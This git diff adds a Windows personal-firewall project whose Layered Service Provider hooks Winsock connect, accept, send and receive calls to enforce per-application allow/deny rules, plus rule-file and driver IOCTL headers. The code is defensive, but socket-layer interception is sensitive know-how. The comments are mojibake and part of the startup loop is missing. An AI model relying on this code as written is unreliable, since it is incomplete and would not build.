WSPCloseSocket( + SOCKET s, + LPINT lpErrno +) +{ + // µ÷ÓÃCAclÀàµÄCheckCloseSocketº¯Êý£¬É¾³ý¶ÔÓ¦µÄ»á»° + g_Acl.CheckCloseSocket(s); + return g_NextProcTable.lpWSPCloseSocket(s, lpErrno); +} + +int WSPAPI WSPBind(SOCKET s, const struct sockaddr* name, int namelen, LPINT lpErrno) +{ + // µ÷ÓÃCAclÀàµÄCheckBindº¯Êý£¬ÉèÖûỰÊôÐÔ + g_Acl.CheckBind(s, name); + return g_NextProcTable.lpWSPBind(s, name, namelen, lpErrno); +} + +int WSPAPI WSPConnect( + SOCKET s, + const struct sockaddr FAR * name, + int namelen, + LPWSABUF lpCallerData, + LPWSABUF lpCalleeData, + LPQOS lpSQOS, + LPQOS lpGQOS, + LPINT lpErrno +) +{ + ODS1(L" WSPConnect... %s", g_szCurrentApp); + + // ¼ì²éÊÇ·ñÔÊÐíÁ¬½Óµ½Ô¶³ÌÖ÷»ú + if(g_Acl.CheckConnect(s, name) != PF_PASS) + { + *lpErrno = WSAECONNREFUSED; + ODS1(L" WSPConnect deny a query %s \n", g_szCurrentApp); + return SOCKET_ERROR; + } + + return g_NextProcTable.lpWSPConnect(s, name, namelen, lpCallerData, lpCalleeData, lpSQOS, lpGQOS, lpErrno); +} + +SOCKET WSPAPI WSPAccept( + SOCKET s, + struct sockaddr FAR *addr, + LPINT addrlen, + LPCONDITIONPROC lpfnCondition, + DWORD dwCallbackData, + LPINT lpErrno +) +{ + ODS1(L" PhoenixLSP: WSPAccept %s \n", g_szCurrentApp); + + // Ê×Ïȵ÷ÓÃϲ㺯Êý½ÓÊÕµ½À´µÄÁ¬½Ó + SOCKET sNew = g_NextProcTable.lpWSPAccept(s, addr, addrlen, lpfnCondition, dwCallbackData, lpErrno); + + // ¼ì²éÊÇ·ñÔÊÐí£¬Èç¹û²»ÔÊÐí£¬¹Ø±ÕнÓÊÕµÄÁ¬½Ó + if (sNew != INVALID_SOCKET && g_Acl.CheckAccept(s, sNew, addr) != PF_PASS) + { + int iError; + g_NextProcTable.lpWSPCloseSocket(sNew, &iError); + *lpErrno = WSAECONNREFUSED; + return SOCKET_ERROR; + } + + return sNew; +} + + +int WSPAPI WSPSendTo( + SOCKET s, + LPWSABUF lpBuffers, + DWORD dwBufferCount, + LPDWORD lpNumberOfBytesSent, + DWORD dwFlags, + const struct sockaddr FAR * lpTo, + int iTolen, + LPWSAOVERLAPPED lpOverlapped, + LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine, + LPWSATHREADID lpThreadId, + LPINT lpErrno +) +{ + ODS1(L" query send to... %s \n", g_szCurrentApp); + + // ¼ì²éÊÇ·ñÔÊÐí·¢ËÍÊý¾Ý + if (g_Acl.CheckSendTo(s, lpTo) != PF_PASS) + { + int iError; + g_NextProcTable.lpWSPShutdown(s, SD_BOTH, &iError); + *lpErrno = WSAECONNABORTED; + + ODS1(L" WSPSendTo deny query %s \n", g_szCurrentApp); + + return SOCKET_ERROR; + } + + // µ÷ÓÃϲ㷢Ëͺ¯Êý + return g_NextProcTable.lpWSPSendTo(s, lpBuffers, dwBufferCount, + lpNumberOfBytesSent, dwFlags, lpTo, iTolen, + lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno); +} + +int WSPAPI WSPRecvFrom ( + SOCKET s, + LPWSABUF lpBuffers, + DWORD dwBufferCount, + LPDWORD lpNumberOfBytesRecvd, + LPDWORD lpFlags, + struct sockaddr FAR * lpFrom, + LPINT lpFromlen, + LPWSAOVERLAPPED lpOverlapped, + LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine, + LPWSATHREADID lpThreadId, + LPINT lpErrno +) +{ + ODS1(L" PhoenixLSP: WSPRecvFrom %s \n", g_szCurrentApp); + + // Ê×Ïȼì²éÊÇ·ñÔÊÐí½ÓÊÕÊý¾Ý + if(g_Acl.CheckRecvFrom(s, lpFrom) != PF_PASS) + { + int iError; + g_NextProcTable.lpWSPShutdown(s, SD_BOTH, &iError); + *lpErrno = WSAECONNABORTED; + + ODS1(L" WSPRecvFrom deny query %s \n", g_szCurrentApp); + return SOCKET_ERROR; + } + + // µ÷ÓÃϲã½ÓÊÕº¯Êý + return g_NextProcTable.lpWSPRecvFrom(s, lpBuffers, dwBufferCount, lpNumberOfBytesRecvd, + lpFlags, lpFrom, lpFromlen, lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno); +} + + + +LPWSAPROTOCOL_INFOW GetProvider(LPINT lpnTotalProtocols) +{ + DWORD dwSize = 0; + int nError; + LPWSAPROTOCOL_INFOW pProtoInfo = NULL; + + // È¡µÃÐèÒªµÄ³¤¶È + if(::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError) == SOCKET_ERROR) + { + if(nError != WSAENOBUFS) + return NULL; + } + + pProtoInfo = (LPWSAPROTOCOL_INFOW)::GlobalAlloc(GPTR, dwSize); + *lpnTotalProtocols = ::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError); + return pProtoInfo; +} + +void FreeProvider(LPWSAPROTOCOL_INFOW pProtoInfo) +{ + ::GlobalFree(pProtoInfo); +} + +/* + +int WSPAPI WSPStartup( + WORD wVersionRequested, + LPWSPDATA lpWSPData, + LPWSAPROTOCOL_INFO lpProtocolInfo, + WSPUPCALLTABLE UpcallTable, + LPWSPPROC_TABLE lpProcTable +) +{ + ODS1(L" PhoenixLSP: WSPStartup %s \n", g_szCurrentApp); + + ODS1(L" %s", lpProtocolInfo->szProtocol); + + if(lpProtocolInfo->ProtocolChain.ChainLen <= 1) + { + ::OutputDebugString(L" Chain len <= 1 \n"); + return WSAEPROVIDERFAILEDINIT; + } + + g_pUpCallTable = UpcallTable; + int nTotalProtos; + LPWSAPROTOCOL_INFOW pProtoInfo = GetProvider(&nTotalProtos); + + + // ÕÒµ½Ï²ãЭÒé + WSAPROTOCOL_INFOW NextProtocolInfo; + // ϲãÈë¿ÚID + DWORD dwBaseEntryId = lpProtocolInfo->ProtocolChain.ChainEntries[1]; + for(int i=0; i= nTotalProtos) + { + ::OutputDebugString(L" Can not find next protocol <= 1 \n"); + return WSAEPROVIDERFAILEDINIT; + } + + // ¼ÓÔØϲãЭÒéµÄDLL + int nError; + TCHAR szBaseProviderDll[MAX_PATH]; + int nLen = MAX_PATH; + if(::WSCGetProviderPath(&NextProtocolInfo.ProviderId, szBaseProviderDll, &nLen, &nError) == SOCKET_ERROR) + { + ::OutputDebugString(L" WSCGetProviderPath() failed \n"); + return WSAEPROVIDERFAILEDINIT; + } + if(!::ExpandEnvironmentStrings(szBaseProviderDll, szBaseProviderDll, MAX_PATH)) + { + ::OutputDebugString(L" ExpandEnvironmentStrings() failed \n"); + return WSAEPROVIDERFAILEDINIT; + } + HMODULE hModule = ::LoadLibrary(szBaseProviderDll); + if(hModule == NULL) + { + ::OutputDebugString(L" LoadLibrary() failed \n"); + return WSAEPROVIDERFAILEDINIT; + } + + // µ÷ÓÃϲãЭÒéµÄWSPStartupº¯Êý + LPWSPSTARTUP proWSPStartup = NULL; + proWSPStartup = (LPWSPSTARTUP)::GetProcAddress(hModule, "WSPStartup"); + if(proWSPStartup == NULL) + { + ::OutputDebugString(L" GetProcAddress() failed \n"); + return WSAEPROVIDERFAILEDINIT; + } + + LPWSAPROTOCOL_INFOW pInfo = lpProtocolInfo; + if(NextProtocolInfo.ProtocolChain.ChainLen == BASE_PROTOCOL) + pInfo = &NextProtocolInfo; + + int nRet = proWSPStartup(wVersionRequested, lpWSPData, pInfo, UpcallTable, lpProcTable); + if(nRet != ERROR_SUCCESS) + { + ODS1(L" next layer's WSPStartup() failed %d \n ", nRet); + return nRet; + } + + // ±£´æϲãЭÒéµÄº¯Êý±í + g_NextProcTable = *lpProcTable; + + // ´«¸øÉϲã + lpProcTable->lpWSPSocket = WSPSocket; + lpProcTable->lpWSPCloseSocket = WSPCloseSocket; + + lpProcTable->lpWSPBind = WSPBind; + + // tcp + lpProcTable->lpWSPAccept = WSPAccept; + lpProcTable->lpWSPConnect = WSPConnect; + + // udp raw + lpProcTable->lpWSPSendTo = WSPSendTo; + lpProcTable->lpWSPRecvFrom = WSPRecvFrom; + + + + FreeProvider(pProtoInfo); + return nRet; +} + +*/ + + + + +//////////////////////////////////////////////////////////////////////////////// + +/* lpProcTable->lpWSPSend = WSPSend; + lpProcTable->lpWSPRecv = WSPRecv; +*/ +/* + + int WSPAPI WSPSend( + SOCKET s, + LPWSABUF lpBuffers, + DWORD dwBufferCount, + LPDWORD lpNumberOfBytesSent, + DWORD dwFlags, + LPWSAOVERLAPPED lpOverlapped, + LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine, + LPWSATHREADID lpThreadId, + LPINT lpErrno +) +{ +// ODS1(L" PhoenixLSP: WSPSend %s \n", g_szCurrentApp); + + // ?? ¶à¸öBufÈçºÎ´¦Àí + if (g_Acl.CheckSend(s, lpBuffers[0].buf, *lpNumberOfBytesSent) != PF_PASS) + { + int iError; + g_NextProcTable.lpWSPShutdown(s, SD_BOTH, &iError); + *lpErrno = WSAECONNABORTED; + + ODS(L" deny a send "); + return SOCKET_ERROR; + } + + return g_NextProcTable.lpWSPSend(s, lpBuffers, dwBufferCount, + lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno); +} + +int WSPAPI WSPRecv( + SOCKET s, + LPWSABUF lpBuffers, + DWORD dwBufferCount, + LPDWORD lpNumberOfBytesRecvd, + LPDWORD lpFlags, + LPWSAOVERLAPPED lpOverlapped, + LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine, + LPWSATHREADID lpThreadId, + LPINT lpErrno +) +{ + ODS1(L" PhoenixLSP: WSPRecv %s \n", g_szCurrentApp); + + if(lpOverlapped != NULL) + { + if(g_Acl.CheckRecv(s, NULL, 0) != PF_PASS) + { + int iError; + g_NextProcTable.lpWSPShutdown(s, SD_BOTH, &iError); + *lpErrno = WSAECONNABORTED; + + ODS(L"deny a recv"); + return SOCKET_ERROR; + } + ODS(L" overlappped "); + } + + int iRet = g_NextProcTable.lpWSPRecv(s, lpBuffers, dwBufferCount, lpNumberOfBytesRecvd, lpFlags, lpOverlapped + , lpCompletionRoutine, lpThreadId, lpErrno); + + if(iRet != SOCKET_ERROR && lpOverlapped == NULL) + { + if(g_Acl.CheckRecv(s, lpBuffers[0].buf, *lpNumberOfBytesRecvd) != PF_PASS) + { + int iError; + g_NextProcTable.lpWSPShutdown(s, SD_BOTH, &iError); + *lpErrno = WSAECONNABORTED; + + ODS(L"deny a recv"); + return SOCKET_ERROR; + } + } + return iRet; +} + + */ diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/PhoenixLSP.def" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/PhoenixLSP.def" new file mode 100644 index 0000000..430603f --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/PhoenixLSP.def" @@ -0,0 +1,11 @@ + + +DESCRIPTION " Implements a layered service provider for TCP/IP" + +SECTIONS + .initdata READ WRITE SHARED + .uinitdata READ WRITE SHARED + +EXPORTS + WSPStartup + PLSPIoControl diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/PhoenixLSP.h" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/PhoenixLSP.h" new file mode 100644 index 0000000..ffb82ab --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/PhoenixLSP.h" @@ -0,0 +1,73 @@ + + + + +SOCKET WSPAPI WSPSocket( + int af, + int type, + int protocol, + LPWSAPROTOCOL_INFOW lpProtocolInfo, + GROUP g, + DWORD dwFlags, + LPINT lpErrno +); + +int WSPAPI WSPCloseSocket( + SOCKET s, + LPINT lpErrno +); + +int WSPAPI WSPBind(SOCKET s, const struct sockaddr* name, int namelen, LPINT lpErrno); + + +int WSPAPI WSPConnect( + SOCKET s, + const struct sockaddr FAR * name, + int namelen, + LPWSABUF lpCallerData, + LPWSABUF lpCalleeData, + LPQOS lpSQOS, + LPQOS lpGQOS, + LPINT lpErrno +); + +SOCKET WSPAPI WSPAccept( + SOCKET s, + struct sockaddr FAR *addr, + LPINT addrlen, + LPCONDITIONPROC lpfnCondition, + DWORD dwCallbackData, + LPINT lpErrno +); + +int WSPAPI WSPSendTo( + SOCKET s, + LPWSABUF lpBuffers, + DWORD dwBufferCount, + LPDWORD lpNumberOfBytesSent, + DWORD dwFlags, + const struct sockaddr FAR * lpTo, + int iTolen, + LPWSAOVERLAPPED lpOverlapped, + LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine, + LPWSATHREADID lpThreadId, + LPINT lpErrno +); + +int WSPAPI WSPRecvFrom ( + SOCKET s, + LPWSABUF lpBuffers, + DWORD dwBufferCount, + LPDWORD lpNumberOfBytesRecvd, + LPDWORD lpFlags, + struct sockaddr FAR * lpFrom, + LPINT lpFromlen, + LPWSAOVERLAPPED lpOverlapped, + LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine, + LPWSATHREADID lpThreadId, + LPINT lpErrno +); + +LPWSAPROTOCOL_INFOW GetProvider(LPINT lpnTotalProtocols); + +void FreeProvider(LPWSAPROTOCOL_INFOW pProtoInfo); \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/PhoenixLSP.sln" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/PhoenixLSP.sln" new file mode 100644 index 0000000..b186f0b --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/PhoenixLSP.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 9.00 +# Visual Studio 2005 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PhoenixLSP", "PhoenixLSP.vcproj", "{7FC06AB5-315D-434D-B88D-7F597DA76B3B}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {7FC06AB5-315D-434D-B88D-7F597DA76B3B}.Debug|Win32.ActiveCfg = Debug|Win32 + {7FC06AB5-315D-434D-B88D-7F597DA76B3B}.Debug|Win32.Build.0 = Debug|Win32 + {7FC06AB5-315D-434D-B88D-7F597DA76B3B}.Release|Win32.ActiveCfg = Release|Win32 + {7FC06AB5-315D-434D-B88D-7F597DA76B3B}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/PhoenixLSP.suo" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/PhoenixLSP.suo" new file mode 100644 index 0000000..a2be5e9 Binary files /dev/null and "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/PhoenixLSP.suo" differ diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/PhoenixLSP.vcproj" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/PhoenixLSP.vcproj" new file mode 100644 index 0000000..c70d75d --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/PhoenixLSP.vcproj" @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/_desktop.ini" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/_desktop.ini" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/bin/PhoenixFW.exe" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/bin/PhoenixFW.exe" new file mode 100644 index 0000000..dea3d86 Binary files /dev/null and "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/bin/PhoenixFW.exe" differ diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/bin/PhoenixLSP.dll" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/bin/PhoenixLSP.dll" new file mode 100644 index 0000000..3bade47 Binary files /dev/null and "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/bin/PhoenixLSP.dll" differ diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/bin/prule.fnk" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/bin/prule.fnk" new file mode 100644 index 0000000..06e783c Binary files /dev/null and "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/bin/prule.fnk" differ diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/common/Debug.h" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/common/Debug.h" new file mode 100644 index 0000000..c62f888 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/common/Debug.h" @@ -0,0 +1,31 @@ +//////////////////////////////////////////// +// Debug.hÎļþ + + + +#ifndef __DEBUG_H__ +#define __DEBUG_H__ + + +#ifdef _DEBUG + + #define ODS(szOut) \ + { \ + OutputDebugString(szOut); \ + } + + #define ODS1(szOut, var) \ + { \ + TCHAR sz[1024]; \ + _stprintf(sz, szOut, var); \ + OutputDebugString(sz); \ + } + +#else + + #define ODS(szOut) + #define ODS1(szOut, var) + +#endif // _DEBUG + +#endif // __DEBUG_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/common/IOCOMMON.H" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/common/IOCOMMON.H" new file mode 100644 index 0000000..2d6e289 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/common/IOCOMMON.H" @@ -0,0 +1,98 @@ +////////////////////////////////////////////////////////////////// +// iocommon.hÎļþ + +#ifndef __IOCOMMON__H +#define __IOCOMMON__H + + +////////////////////////////////////////////////////////// +// ¶¨ÒåIOÊý¾ÝÀàÐÍ + + +typedef struct _PTUSERIO_OID_DATA +{ + ULONG Oid; + ULONG Length; + UCHAR Data[1]; +}PTUSERIO_OID_DATA, *PPTUSERIO_OID_DATA; + + +// ÍøÂç»î¶¯×´Ì¬ +typedef struct _PassthruStatistics +{ + ULONG nMPSendPktsCt; // ͨ¹ýMPSendPacketsµÄ·â°ü + ULONG nMPSendPktsDropped; // ÔÚMPSendPacketsÖжªÆúµÄ·â°ü + ULONG nPTRcvCt; // ͨ¹ýPTReceiveµÄ·â°ü + ULONG nPTRcvDropped; // ÔÚPTReceiveÖжªÆúµÄ·â°ü + ULONG nPTRcvPktCt; // ͨ¹ýPTReceivePacketµÄ·â°ü + ULONG nPTRcvPktDropped; // ÔÚPTReceivePacketÖжªÆúµÄ·â°ü +}PassthruStatistics, *PPassthruStatistics; + +// ¹ýÂ˹æÔò +typedef struct _PassthruFilter +{ + USHORT protocol; // ʹÓõÄЭÒé + + ULONG sourceIP; // Ô´IPµØÖ· + ULONG sourceMask; // Ô´µØÖ·ÆÁ±ÎÂë ÕâÀïʹÓÃÆÁ±ÎÂëÊÇΪÁËÄܹ»ÉèÖÃÒ»¸öIPµØÖ··¶Î§ + + ULONG destinationIP; // Ä¿µÄIPµØÖ· + ULONG destinationMask; // Ä¿µÄµØÖ·ÆÁ±ÎÂë + + USHORT sourcePort; // Ô´¶Ë¿ÚºÅ + USHORT destinationPort; // Ä¿µÄ¶Ë¿ÚºÅ + + BOOLEAN bDrop; // ÊÇ·ñ¶ªÆú´Ë·â°ü + +}PassthruFilter, *PPassthruFilter; + + +//////////////////////////////////////////////////////////// +// ¶¨ÒåIO¿ØÖÆ´úÂë + +#define FSCTL_PTUSERIO_BASE FILE_DEVICE_NETWORK + +// ö¾Ù°ó¶¨µÄÊÊÅäÆ÷ +#define IOCTL_PTUSERIO_ENUMERATE \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x201, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// ´ò¿ªÒ»¸öÊÊÅäÆ÷ +#define IOCTL_PTUSERIO_OPEN_ADAPTER \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x202, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +#define IOCTL_PTUSERIO_SET_OID \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x203, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +#define IOCTL_PTUSERIO_QUERY_OID \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x204, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + + + +// »ñÈ¡ÍøÂç»î¶¯×´Ì¬ +#define IOCTL_PTUSERIO_QUERY_STATISTICS \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x205, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// ÖØÉèÍøÂç»î¶¯×´Ì¬ +#define IOCTL_PTUSERIO_RESET_STATISTICS \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x206, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// Ìí¼ÓÒ»¸ö¹ýÂ˹æÔò +#define IOCTL_PTUSERIO_ADD_FILTER \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x207, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// Çå³ý¹ýÂ˹æÔò +#define IOCTL_PTUSERIO_CLEAR_FILTER \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x208, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + + +#endif // __IOCOMMON__H + + + + + + diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/common/PMacRes.h" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/common/PMacRes.h" new file mode 100644 index 0000000..d0b3fdb --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/common/PMacRes.h" @@ -0,0 +1,102 @@ +///////////////////////////////////////// +// PMacRes.hÎļþ + + +#ifndef __PMACRES_H__ +#define __PMACRES_H__ + +////////////////////////////////////////// +// LSPÄ£¿éÏòÖ÷Ä£¿é·¢Ë͵ÄÏûÏ¢ +#define PM_SESSION_NOTIFY WM_USER + 200 +#define PM_QUERY_ACL_NOTIFY WM_USER + 201 + +#define CODE_CHANGE_SESSION 0 +#define CODE_DELETE_SESSION 1 +#define CODE_APP_EXIT 2 + + +////////////////////////////////////////// +// ¶ÔÌض¨Ó¦ÓóÌÐò²ÉÈ¡µÄ¶¯×÷ +#define PF_PASS 0 +#define PF_DENY 1 +#define PF_QUERY 2 +#define PF_FILTER 3 +#define PF_UNKNOWN 4 + +/////////////////////////////////////////// +// LSPÄ£¿éºÍIMÄ£¿éµÄ¹¤×÷ģʽ +#define PF_PASS_ALL 0 +#define PF_QUERY_ALL 1 +#define PF_DENY_ALL 2 + +#define IM_PASS_ALL 0 +#define IM_START_FILTER 1 + +/////////////////////////////////////////// +// ³ÌÐòʹÓõÄ×î´óÖµ +#define MAX_RULE_COUNT 100 +#define MAX_QUERY_SESSION 20 +#define MAX_SESSION_BUFFER 100 +#define INIT_SESSION_BUFFER 50 + +/////////////////////////////////////////// +// ¹æÔòÎļþʹÓõĺê +#define PHOENIX_SERVICE_DLL_NAME _T("PhoenixLSP.dll") +#define PHOENIX_PRODUCT_ID 0xFF01 +#define RULE_FILE_NAME _T("prule.fnk") +#define RULE_HEADER_SIGNATURE _T("PHOENIX/INC\0") + +#define RULE_HEADER_MAJOR 2 +#define RULE_HEADER_MINOR 1 + +#define RULE_HEADER_VERSION 2 + +#define RULE_HEADER_WEB_URL _T("http://www.yanping.net/\0") +#define RULE_HEADER_EMAIL _T("whitegest@sohu.com\0") + +/////////////////////////////////////////// +// DLLÄ£¿éI/O¿ØÖÆ´úÂë + +#define IO_CONTROL_SET_WORK_MODE 0 +#define IO_CONTROL_GET_WORK_MODE 1 +#define IO_CONTROL_SET_PHOENIX_INSTANCE 2 +#define IO_CONTROL_GET_SESSION 3 +#define IO_CONTROL_GET_QUERY_SESSION 4 +#define IO_CONTROL_SET_QUERY_SESSION 5 +#define IO_CONTROL_SET_RULE_FILE 6 + +/////////////////////////////////////////// +// ÏÂÃæÊǹýÂ˹æÔòÖÐʹÓõĺê + +// ²ÉÈ¡µÄ¶¯×÷ +#define RULE_ACTION_PASS 0 +#define RULE_ACTION_DENY 1 +#define RULE_ACTION_NOT_SET -1 + +// ·½Ïò +#define RULE_DIRECTION_IN 0 +#define RULE_DIRECTION_OUT 1 +#define RULE_DIRECTION_IN_OUT 2 +#define RULE_DIRECTION_NOT_SET -1 + +// ·þÎñÀàÐÍ +#define RULE_SERVICE_TYPE_ALL 0 // ËùÓÐÀàÐÍ +#define RULE_SERVICE_TYPE_TCP 1 // TCPЭÒé +#define RULE_SERVICE_TYPE_UDP 2 // UDPЭÒé +#define RULE_SERVICE_TYPE_FTP 3 // FTPЭÒé +#define RULE_SERVICE_TYPE_TELNET 4 +#define RULE_SERVICE_TYPE_HTTP 5 +#define RULE_SERVICE_TYPE_NNTP 6 +#define RULE_SERVICE_TYPE_POP3 7 +#define RULE_SERVICE_TYPE_SMTP 8 + +// ·þÎñ¶Ë¿ÚºÅ +#define RULE_SERVICE_PORT_ALL 0 +#define RULE_SERVICE_PORT_FTP 21 +#define RULE_SERVICE_PORT_TELNET 23 +#define RULE_SERVICE_PORT_NNTP 119 +#define RULE_SERVICE_PORT_POP3 110 +#define RULE_SERVICE_PORT_SMTP 25 +#define RULE_SERVICE_PORT_HTTP 80 + +#endif // __PMACRES_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/common/TypeStruct.h" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/common/TypeStruct.h" new file mode 100644 index 0000000..8c9a7c9 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/common/TypeStruct.h" @@ -0,0 +1,115 @@ +///////////////////////////////////////////// +// TypeStruct.hÎļþ + + + +#include "PMacRes.h" +#include "iocommon.h" + +#ifndef __TYPESTRUCT_H__ +#define __TYPESTRUCT_H__ + +//////////////////////////////////////////// + +// Óû§²ã¹ýÂ˹æÔò +struct RULE_ITEM +{ + TCHAR szApplication[MAX_PATH]; // Ó¦ÓóÌÐòÃû³Æ + UCHAR ucAction; // ²ÉÈ¡µÄ¶¯×÷ + UCHAR ucDirection; // ·½Ïò + UCHAR ucServiceType; // ·þÎñÀàÐÍ + USHORT usServicePort; // ·þÎñ¶Ë¿Ú + TCHAR sDemo[51]; // ÃèÊö +}; + +// ÎļþÍ·½á¹¹ +struct RULE_FILE_HEADER +{ + TCHAR szSignature[12]; // ÎļþÇ©Ãû + ULONG ulHeaderLength; // Í·³¤¶È + + UCHAR ucMajorVer; // Ö÷°æ±¾ºÅ + UCHAR ucMinorVer; // ´Î°æ±¾ºÅ + DWORD dwVersion; // ÎļþÍ·°æ±¾ + + UCHAR ucLspWorkMode; // ¹¤×÷ģʽ + UCHAR ucKerWorkMode; + UCHAR bAutoStart; // ÊÇ·ñ¿ª»ú×Ô¶¯Æô¶¯ + + TCHAR szWebURL[MAX_PATH]; // ÖÆÔìÉÌWebÒ³Ãæ + TCHAR szEmail[MAX_PATH]; // ÖÆÔìÉÌEmailµØÖ· + + ULONG ulLspRuleCount; // Óû§²ã¹ýÂ˹æÔòµÄ¸öÊý + ULONG ulKerRuleCount; // ºËÐIJã¹ýÂ˹æÔòµÄ¸öÊý +}; + +// Îļþ½á¹¹ +struct RULE_FILE +{ + RULE_FILE_HEADER header; + RULE_ITEM LspRules[MAX_RULE_COUNT]; + PassthruFilter KerRules[MAX_RULE_COUNT]; +}; + + + +/////////////////////////////////// +// »á»° + +struct SESSION +{ + SOCKET s; + int nProtocol; // ʹÓõÄЭÒ飬ÈçTCP¡¢UDP¡¢FTPµÈ + UCHAR ucDirection; // ·½Ïò + ULONG ulLocalIP; // ±¾µØIPµØÖ· + ULONG ulRemoteIP; // Ô¶³ÌIPµØÖ· + USHORT usLocalPort; // ±¾µØ¶Ë¿ÚºÅ + USHORT usRemotePort; // Ô¶³Ì¶Ë¿ÚºÅ + TCHAR szPathName[MAX_PATH]; // Ó¦ÓóÌÐò + UCHAR ucAction; // 